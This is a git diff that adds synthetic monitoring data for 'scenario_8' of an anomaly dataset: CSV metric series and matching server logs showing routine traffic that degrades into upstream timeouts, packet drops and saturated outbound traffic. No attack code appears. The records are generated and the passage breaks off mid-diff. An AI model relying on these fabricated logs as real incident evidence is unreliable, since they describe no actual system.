publickey for admin from 10.0.1.15 port 55234 ssh2 +Jul 02 10:00:20 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:01:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:04:20 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:04:30 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:04:35 nginx[1123]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.200, server: my-app.com, request: 'GET /api/v2/data' +Jul 02 10:04:40 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:04:40 app-server[8899]: ERROR upstream request failed, reason: connection timed out after 13 seconds. +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:05:00 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:05:15 app-server[8899]: ERROR upstream request failed, reason: connection timed out after 17 seconds. +Jul 02 10:05:15 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:05:20 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:05:30 nginx[1123]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.200, server: my-app.com, request: 'GET /api/v2/data' +Jul 02 10:05:40 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:05:50 app-server[8899]: ERROR upstream request failed, reason: connection timed out after 19 seconds. +Jul 02 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:06:00 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:06:00 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:06:20 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:06:25 app-server[8899]: ERROR upstream request failed, reason: connection timed out after 15 seconds. +Jul 02 10:06:25 nginx[1123]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.200, server: my-app.com, request: 'GET /api/v2/data' +Jul 02 10:06:40 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:06:45 kernel: net_ratelimit: 126 callbacks suppressed +Jul 02 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:07:00 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:07:00 app-server[8899]: ERROR upstream request failed, reason: connection timed out after 11 seconds. +Jul 02 10:07:20 haproxy[4567]: Connection timeout to backend server web_backend_1. Check network status. +Jul 02 10:07:20 nginx[1123]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.0.2.200, server: my-app.com, request: 'GET /api/v2/data' diff --git a/anom_dataset/scenario_8/anom_8_21.csv b/anom_dataset/scenario_8/anom_8_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..8d6abff422d9ca0a88311ef3211c3b1485d2325f --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T08:00:00Z,12.013477340219064,45.1445612997279,23.73028829424402,52.47786727464938,160.93990461117008 +2025-08-25T08:00:05Z,17.72311677457308,44.91098803135234,23.817759990666893,48.50369454139262,145.1105073089043 +2025-08-25T08:00:10Z,15.838907419401727,45.47578551761301,24.6496075928642,55.528055088471135,182.32863258996238 +2025-08-25T08:00:15Z,14.030150152224415,44.73030035466316,24.62425829607128,49.38967326176855,151.62258446782718 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'alex' successfully authenticated. +Aug 25 08:00:00 cron[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 08:00:00 nginx[1124]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:00:20 nginx[1125]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:00:40 nginx[1125]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:00:50 app-server[5433]: INFO: User 'alex' successfully authenticated. +Aug 25 08:01:00 nginx[1124]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:01:20 nginx[1125]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:01:30 cron[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 08:01:40 app-server[5432]: INFO: User 'alex' successfully authenticated. +Aug 25 08:01:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:02:00 nginx[1124]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:02:20 nginx[1125]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:02:30 app-server[5433]: INFO: User 'alex' successfully authenticated. +Aug 25 08:02:40 nginx[1124]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:03:00 cron[21352]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 25 08:03:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 25 08:03:30 app-server[5433]: WARN: High latency detected for outbound request to payment-gateway. Latency: 1600ms +Aug 25 08:03:30 app-server[5433]: WARN: Packet buffer queue is growing, current size: 40 +Aug 25 08:03:45 app-server[5432]: WARN: High latency detected for outbound request to payment-gateway. Latency: 1750ms +Aug 25 08:04:00 app-server[5432]: WARN: High latency detected for outbound request to payment-gateway. Latency: 1900ms +Aug 25 08:04:05 app-server[5432]: WARN: Packet buffer queue is growing, current size: 75 +Aug 25 08:04:15 app-server[5433]: WARN: High latency detected for outbound request to payment-gateway. Latency: 2050ms +Aug 25 08:04:30 app-server[5433]: WARN: High latency detected for outbound request to payment-gateway. Latency: 2200ms +Aug 25 08:04:40 app-server[5433]: WARN: Packet buffer queue is growing, current size: 110 +Aug 25 08:04:45 app-server[5432]: WARN: High latency detected for outbound request to payment-gateway. Latency: 2350ms +Aug 25 08:05:00 app-server[5432]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:05:00 nginx[1125]: upstream request timed out while reading response header from upstream +Aug 25 08:05:10 app-server[5432]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:05:20 app-server[5433]: ERROR: Request to 'external-api' timed out after 5000ms. Dropping request. +Aug 25 08:05:20 kernel: nf_conntrack: table full, dropping packet +Aug 25 08:05:25 nginx[1125]: upstream request timed out while reading response header from upstream +Aug 25 08:05:30 app-server[5433]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:05:40 app-server[5432]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:05:50 app-server[5433]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:05:50 nginx[1123]: upstream request timed out while reading response header from upstream +Aug 25 08:06:00 app-server[5432]: ERROR: Request to 'external-api' timed out after 5000ms. Dropping request. +Aug 25 08:06:00 kernel: nf_conntrack: table full, dropping packet +Aug 25 08:06:10 app-server[5433]: ERROR: Request to 'inventory-service' timed out after 5000ms. Dropping request. +Aug 25 08:06:15 nginx[1124]: upstream request timed out while reading response header from upstream +Aug 25 08:06:20 app-server[5432]: ERROR: Request to 'external-api' timed out after 5000ms. Dropping request. +Aug 25 08:06:30 app-server[5433]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:06:40 app-server[5432]: ERROR: Request to 'external-api' timed out after 5000ms. Dropping request. +Aug 25 08:06:40 kernel: nf_conntrack: table full, dropping packet +Aug 25 08:06:40 nginx[1123]: upstream request timed out while reading response header from upstream +Aug 25 08:06:50 app-server[5432]: ERROR: Request to 'inventory-service' timed out after 5000ms. Dropping request. +Aug 25 08:07:00 app-server[5432]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:07:05 nginx[1123]: upstream request timed out while reading response header from upstream +Aug 25 08:07:10 app-server[5432]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:07:20 app-server[5432]: ERROR: Request to 'user-database' timed out after 5000ms. Dropping request. +Aug 25 08:07:20 kernel: nf_conntrack: table full, dropping packet diff --git a/anom_dataset/scenario_8/anom_8_22.csv b/anom_dataset/scenario_8/anom_8_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..0dd6c8b90b4edfd919b98a887e0d75602229e35f --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_22.csv @@ -0,0 +1,91 @@ +timestamp,mem_usage,disk_io,net_in,net_out,cpu_usage +2025-07-02T10:00:00Z,41.51034787498245,28.139731483940373,1.2305309093315444,1.2663013161697605,22.71210220114591 +2025-07-02T10:00:05Z,38.94322032856091,22.62939133472573,0.8600645610059887,0.9959377999803959,24.20377932435823 +2025-07-02T10:00:10Z,40.14425403191903,26.570505689942806,0.5827513870710715,1.3333381714710104,19.770648726146785 +2025-07-02T10:00:15Z,41.10991873687643,24.653971506425346,0.8831570579609909,2.3505148119581296,19.632782104801056 +2025-07-02T10:00:20Z,37.03819110410242,19.493003973197016,0.5666230806933228,1.8528547288888937,21.137420347183344 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+2025-07-02T10:07:05Z,38.74281662752536,23.316313168479606,0.6534862503670188,121.77118841208855,23.014104654872913 +2025-07-02T10:07:10Z,42.23295987753473,25.816755664129275,0.7434987236975249,122.39204077845554,18.552186103108745 +2025-07-02T10:07:15Z,41.70549834141228,25.626214847362206,0.9840469215409059,117.4016811367207,18.77985321892884 +2025-07-02T10:07:20Z,43.53444221620372,17.528143287876297,1.0325255338196793,117.31644403940517,24.368425726395838 +2025-07-02T10:07:25Z,41.94252710282499,22.726957339885978,0.8175061891663857,119.43231141027636,18.905005532729046 diff --git a/anom_dataset/scenario_8/anom_8_22.log b/anom_dataset/scenario_8/anom_8_22.log new file mode 100644 index 0000000000000000000000000000000000000000..794d02eb523d7f283c8d48550e448d4ae650c8e5 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_22.log @@ -0,0 +1,43 @@ +Jul 02 10:00:05 systemd[1]: Started Session 1 of user default. +Jul 02 10:00:10 sshd[1023]: Accepted publickey for default from 192.168.1.10 port 55234 ssh2 +Jul 02 10:00:25 cron[1143]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:00:50 kernel: [ 98.123456] usb 1-1: new high-speed USB device number 2 using xhci_hcd +Jul 02 10:01:15 kubelet[2345]: INFO routine sync completed for pod web-app-15 +Jul 02 10:01:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app-30 +Jul 02 10:02:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:03:20 API-Gateway[3331]: upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:03:25 API-Gateway[3331]: Failed to send request to upstream, reason: timeout +Jul 02 10:03:30 webapp[4512]: ERROR Connection to payment-service timed out after 15000ms +Jul 02 10:03:45 kubelet[2345]: INFO routine sync completed for pod web-app-45 +Jul 02 10:03:45 kernel: [198.543210] net_ratelimit: 20 callbacks suppressed +Jul 02 10:03:50 API-Gateway[3331]: Failed to send request to upstream, reason: timeout +Jul 02 10:04:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:00 webapp[4512]: WARN Packet loss detected on outbound connection to data-stream-kafka:9092 +Jul 02 10:04:15 envoy[123]: [conn_handler] high latency detected for outbound request to users-db +Jul 02 10:04:30 webapp[4512]: WARN Packet loss detected on outbound connection to data-stream-kafka:9092 +Jul 02 10:04:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:50 kernel: [198.543210] net_ratelimit: 20 callbacks suppressed +Jul 02 10:04:55 API-Gateway[3331]: Failed to send request to upstream, reason: timeout +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app-60 +Jul 02 10:05:05 kernel: [198.543210] net_ratelimit: 20 callbacks suppressed +Jul 02 10:05:10 envoy[123]: [conn_handler] high latency detected for outbound request to users-db +Jul 02 10:05:15 API-Gateway[3331]: upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:05:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:05:20 webapp[4512]: ERROR Connection to payment-service timed out after 15000ms +Jul 02 10:05:40 envoy[123]: [conn_handler] high latency detected for outbound request to users-db +Jul 02 10:05:45 kernel: [198.543210] net_ratelimit: 20 callbacks suppressed +Jul 02 10:06:00 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:06:00 API-Gateway[3331]: Failed to send request to upstream, reason: timeout +Jul 02 10:06:15 kubelet[2345]: INFO routine sync completed for pod web-app-75 +Jul 02 10:06:15 envoy[123]: [conn_handler] high latency detected for outbound request to users-db +Jul 02 10:06:25 API-Gateway[3331]: upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:06:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:06:40 webapp[4512]: WARN Packet loss detected on outbound connection to data-stream-kafka:9092 +Jul 02 10:06:45 API-Gateway[3331]: upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:06:50 envoy[123]: [conn_handler] high latency detected for outbound request to users-db +Jul 02 10:07:00 API-Gateway[3331]: upstream connect error or disconnect/reset before headers. reset reason: connection termination +Jul 02 10:07:20 nginx[1123]: GET /api/status HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_8/anom_8_23.csv b/anom_dataset/scenario_8/anom_8_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..295bc1ad9c5d48241d19738833c47bcd5bf7da50 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-25T10:00:00Z,13.6,41.51,30.23,1.23,0.17 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+2025-08-25T10:05:00Z,86.17,38.23,22.87,0.86,100.0 +2025-08-25T10:05:05Z,76.73,40.73,26.61,1.03,100.0 +2025-08-25T10:05:10Z,83.21,38.21,29.38,0.68,100.0 +2025-08-25T10:05:15Z,85.16,39.63,25.41,0.9,99.96 +2025-08-25T10:05:20Z,88.61,39.81,20.9,0.7,99.62 +2025-08-25T10:05:25Z,78.92,42.2,25.34,0.88,99.63 +2025-08-25T10:05:30Z,86.98,43.15,31.6,0.37,100.0 +2025-08-25T10:05:35Z,82.0,37.27,20.04,1.0,100.0 +2025-08-25T10:05:40Z,89.05,34.61,20.31,0.82,100.0 +2025-08-25T10:05:45Z,81.19,38.91,30.89,0.63,100.0 +2025-08-25T10:05:50Z,82.99,39.03,32.96,0.96,98.09 +2025-08-25T10:05:55Z,84.89,38.37,23.07,0.49,97.74 +2025-08-25T10:06:00Z,82.21,40.18,21.87,0.96,99.76 +2025-08-25T10:06:05Z,83.45,39.5,21.16,1.2,100.0 +2025-08-25T10:06:10Z,79.61,37.86,27.94,0.46,100.0 +2025-08-25T10:06:15Z,89.35,39.0,20.28,0.48,100.0 +2025-08-25T10:06:20Z,94.42,40.4,27.45,0.85,98.1 +2025-08-25T10:06:25Z,86.49,37.55,24.56,0.82,99.36 +2025-08-25T10:06:30Z,90.84,35.22,22.43,0.73,99.71 +2025-08-25T10:06:35Z,85.07,44.38,30.01,0.98,98.55 +2025-08-25T10:06:40Z,82.82,37.68,18.14,0.74,98.05 +2025-08-25T10:06:45Z,88.1,44.07,18.75,0.8,100.0 +2025-08-25T10:06:50Z,86.94,41.66,30.52,0.78,99.24 +2025-08-25T10:06:55Z,78.89,40.4,32.15,0.73,100.0 +2025-08-25T10:07:00Z,81.93,41.31,26.06,1.05,100.0 +2025-08-25T10:07:05Z,90.9,38.74,22.19,0.65,100.0 +2025-08-25T10:07:10Z,92.97,42.23,26.36,0.74,97.54 +2025-08-25T10:07:15Z,76.34,41.71,26.04,0.98,96.15 +2025-08-25T10:07:20Z,76.05,43.53,12.55,1.03,98.09 +2025-08-25T10:07:25Z,83.11,41.94,21.21,0.82,99.78 diff --git a/anom_dataset/scenario_8/anom_8_23.log b/anom_dataset/scenario_8/anom_8_23.log new file mode 100644 index 0000000000000000000000000000000000000000..c8547b48c9b6d2952592920154dfc27a38327031 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_23.log @@ -0,0 +1,84 @@ +Aug 25 09:59:58 server-1 webapp[12345]: INFO: routine sync completed for pod web-app-xyz +Aug 25 10:00:02 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:00:07 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:00:18 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:00:24 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:00:48 server-1 webapp[12345]: INFO: routine sync completed for pod web-app-xyz +Aug 25 10:01:02 server-1 webapp[12345]: INFO: Liveness probe succeeded for container 'main-app' +Aug 25 10:01:12 server-1 webapp[12345]: INFO: routine sync completed for pod web-app-xyz +Aug 25 10:01:23 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:01:31 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:01:42 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:01:49 server-1 webapp[12345]: INFO: routine sync completed for pod web-app-xyz +Aug 25 10:02:06 server-1 webapp[12345]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 25 10:02:12 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:02:27 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:02:27 server-1 webapp[12345]: WARN: Packet retransmission rate increasing for client 10.0.1.52 +Aug 25 10:02:33 server-1 webapp[12345]: WARN: Response time for service 'payment-gateway' is degrading: 2699ms +Aug 25 10:02:41 server-1 webapp[12345]: WARN: Packet retransmission rate increasing for client 10.0.1.52 +Aug 25 10:02:49 server-1 webapp[12345]: WARN: High latency detected on /api/v1/data-stream: 2819ms +Aug 25 10:02:54 server-1 webapp[12345]: INFO: routine sync completed for pod web-app-xyz +Aug 25 10:02:58 server-1 webapp[12345]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 25 10:03:08 server-1 webapp[12345]: WARN: High latency detected on /api/v1/data-stream: 2431ms +Aug 25 10:03:14 server-1 webapp[12345]: WARN: Response time for service 'payment-gateway' is degrading: 2101ms +Aug 25 10:03:19 server-1 webapp[12345]: WARN: Response time for service 'payment-gateway' is degrading: 1636ms +Aug 25 10:03:27 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:03:28 server-1 webapp[12345]: WARN: Packet retransmission rate increasing for client 10.0.1.52 +Aug 25 10:03:36 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:03:39 server-1 webapp[12345]: WARN: Response time for service 'payment-gateway' is degrading: 2233ms +Aug 25 10:03:43 server-1 webapp[12345]: WARN: Packet retransmission rate increasing for client 10.0.1.52 +Aug 25 10:03:49 server-1 webapp[12345]: WARN: Response time for service 'payment-gateway' is degrading: 2586ms +Aug 25 10:03:53 server-1 webapp[12345]: WARN: Response time for service 'payment-gateway' is degrading: 2634ms +Aug 25 10:03:58 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:04:09 server-1 webapp[12345]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 25 10:04:09 server-1 webapp[12345]: WARN: High latency detected on /api/v1/data-stream: 1542ms +Aug 25 10:04:12 server-1 webapp[12345]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 25 10:04:17 server-1 webapp[12345]: WARN: High latency detected on /api/v1/data-stream: 2751ms +Aug 25 10:04:19 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:04:23 server-1 webapp[12345]: WARN: High latency detected on /api/v1/data-stream: 2339ms +Aug 25 10:04:26 server-1 webapp[12345]: WARN: Packet retransmission rate increasing for client 10.0.1.52 +Aug 25 10:04:29 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:04:41 server-1 webapp[12345]: WARN: Packet retransmission rate increasing for client 10.0.1.52 +Aug 25 10:04:52 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:04:56 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:04:58 server-1 webapp[12345]: ERROR: Failed to write to client 10.0.2.128: Connection timed out +Aug 25 10:05:03 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:05:04 server-1 webapp[12345]: ERROR: Request failed: upstream request timeout +Aug 25 10:05:09 server-1 webapp[12345]: ERROR: Request failed: upstream request timeout +Aug 25 10:05:11 server-1 webapp[12345]: ERROR: Client request timed out after 10000ms waiting for upstream +Aug 25 10:05:12 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:05:17 server-1 webapp[12345]: ERROR: Request failed: upstream request timeout +Aug 25 10:05:22 server-1 webapp[12345]: INFO: Liveness probe succeeded for container 'main-app' +Aug 25 10:05:23 server-1 webapp[12345]: ERROR: Dropping packets due to full output queue on eth0 +Aug 25 10:05:28 server-1 webapp[12345]: INFO: routine sync completed for pod web-app-xyz +Aug 25 10:05:29 server-1 webapp[12345]: CRITICAL: All connections to database replica 'db-replica-2' lost +Aug 25 10:05:33 server-1 webapp[12345]: CRITICAL: All connections to database replica 'db-replica-2' lost +Aug 25 10:05:36 server-1 webapp[12345]: ERROR: Request failed: upstream request timeout +Aug 25 10:05:38 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:05:41 server-1 webapp[12345]: ERROR: Failed to write to client 10.0.2.128: Connection timed out +Aug 25 10:05:42 server-1 webapp[12345]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 25 10:05:46 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:05:46 server-1 webapp[12345]: ERROR: Request failed: upstream request timeout +Aug 25 10:05:52 server-1 webapp[12345]: ERROR: Client request timed out after 10000ms waiting for upstream +Aug 25 10:05:57 server-1 webapp[12345]: INFO: User 'admin' logged in from 192.168.1.100 +Aug 25 10:05:58 server-1 webapp[12345]: ERROR: Dropping packets due to full output queue on eth0 +Aug 25 10:06:04 server-1 webapp[12345]: CRITICAL: All connections to database replica 'db-replica-2' lost +Aug 25 10:06:04 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:06:06 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:06:07 server-1 webapp[12345]: ERROR: Failed to write to client 10.0.2.128: Connection timed out +Aug 25 10:06:13 server-1 webapp[12345]: CRITICAL: All connections to database replica 'db-replica-2' lost +Aug 25 10:06:17 server-1 webapp[12345]: ERROR: Connection to downstream_service_A timed out after 5000ms +Aug 25 10:06:23 server-1 webapp[12345]: CRITICAL: All connections to database replica 'db-replica-2' lost +Aug 25 10:06:24 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 +Aug 25 10:06:27 server-1 webapp[12345]: ERROR: Request failed: upstream request timeout +Aug 25 10:06:33 server-1 webapp[12345]: ERROR: Client request timed out after 10000ms waiting for upstream +Aug 25 10:06:37 server-1 webapp[12345]: INFO: GET /api/v1/healthcheck 200 OK +Aug 25 10:06:43 server-1 webapp[12345]: ERROR: Dropping packets due to full output queue on eth0 +Aug 25 10:06:51 server-1 webapp[12345]: ERROR: Failed to write to client 10.0.2.128: Connection timed out +Aug 25 10:06:57 server-1 webapp[12345]: ERROR: Dropping packets due to full output queue on eth0 +Aug 25 10:07:08 server-1 webapp[12345]: ERROR: Failed to write to client 10.0.2.128: Connection timed out +Aug 25 10:07:13 server-1 webapp[12345]: DEBUG: Cache hit for key 'user:profile:58' +Aug 25 10:07:14 server-1 webapp[12345]: ERROR: Client request timed out after 10000ms waiting for upstream +Aug 25 10:07:17 server-1 webapp[12345]: ERROR: Dropping packets due to full output queue on eth0 +Aug 25 10:07:24 server-1 webapp[12345]: ERROR: Dropping packets due to full output queue on eth0 +Aug 25 10:07:24 server-1 webapp[12345]: INFO: Successfully processed batch job #12345 diff --git a/anom_dataset/scenario_8/anom_8_24.csv b/anom_dataset/scenario_8/anom_8_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..e4db8e0c70d562836b82396a2ef3e6acacf4f51d --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,22.722953306216628,41.04147818415211,26.901732993250242,1.4055807486373157,1.571896691532592 +2025-07-02T10:00:05Z,19.999377737009148,37.86403278629308,20.061789566083892,0.6236706235104824,1.72598506840813 +2025-07-02T10:00:10Z,19.425831867112727,38.64128878095899,24.71792112784658,1.3918059144498562,1.4625098235604999 +2025-07-02T10:00:15Z,16.846979093393873,41.99451269023549,24.64302880377799,1.3056920121685653,1.4343890371531838 +2025-07-02T10:00:20Z,22.635161413589216,42.63715464512864,21.198653590174587,0.7726917622918429,1.7667519204231419 +2025-07-02T10:00:25Z,18.866177638598987,44.412225723044806,24.990133265053892,0.7072992005045206,1.0975192517543626 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+2025-07-02T10:07:25Z,87.73748842203322,39.224995189322236,25.77240363049018,0.5041335783287231,98.28987808330594 diff --git a/anom_dataset/scenario_8/anom_8_24.log b/anom_dataset/scenario_8/anom_8_24.log new file mode 100644 index 0000000000000000000000000000000000000000..68eb4fe825775fdea094211072e7322707a8d834 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_24.log @@ -0,0 +1,42 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:00:35 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:10 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:45 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:02:20 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:55 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:30 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:04:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:40 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:05:50 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:50 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:05:55 web-app[4321]: ERROR failed to connect to database: connection refused +Jul 02 10:06:00 web-app[4321]: ERROR upstream request timed out after 30000ms +Jul 02 10:06:05 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:06:10 web-app[4321]: ERROR failed to connect to database: connection refused +Jul 02 10:06:15 web-app[4321]: ERROR upstream request timed out after 30000ms +Jul 02 10:06:20 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:06:25 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:06:25 web-app[4321]: ERROR failed to connect to database: connection refused +Jul 02 10:06:30 web-app[4321]: ERROR upstream request timed out after 30000ms +Jul 02 10:06:35 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:40 web-app[4321]: ERROR failed to connect to database: connection refused +Jul 02 10:06:45 web-app[4321]: ERROR upstream request timed out after 30000ms +Jul 02 10:06:50 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:06:55 web-app[4321]: ERROR failed to connect to database: connection refused +Jul 02 10:07:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 - +Jul 02 10:07:00 web-app[4321]: ERROR upstream request timed out after 30000ms +Jul 02 10:07:05 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:07:10 web-app[4321]: ERROR failed to connect to database: connection refused +Jul 02 10:07:15 web-app[4321]: ERROR upstream request timed out after 30000ms +Jul 02 10:07:20 haproxy[5678]: WARNING backend server is at max capacity +Jul 02 10:07:25 web-app[4321]: ERROR failed to connect to database: connection refused diff --git a/anom_dataset/scenario_8/anom_8_25.csv b/anom_dataset/scenario_8/anom_8_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..d4de5f71164290d37a01f4e802502078428a9320 --- /dev/null +++ 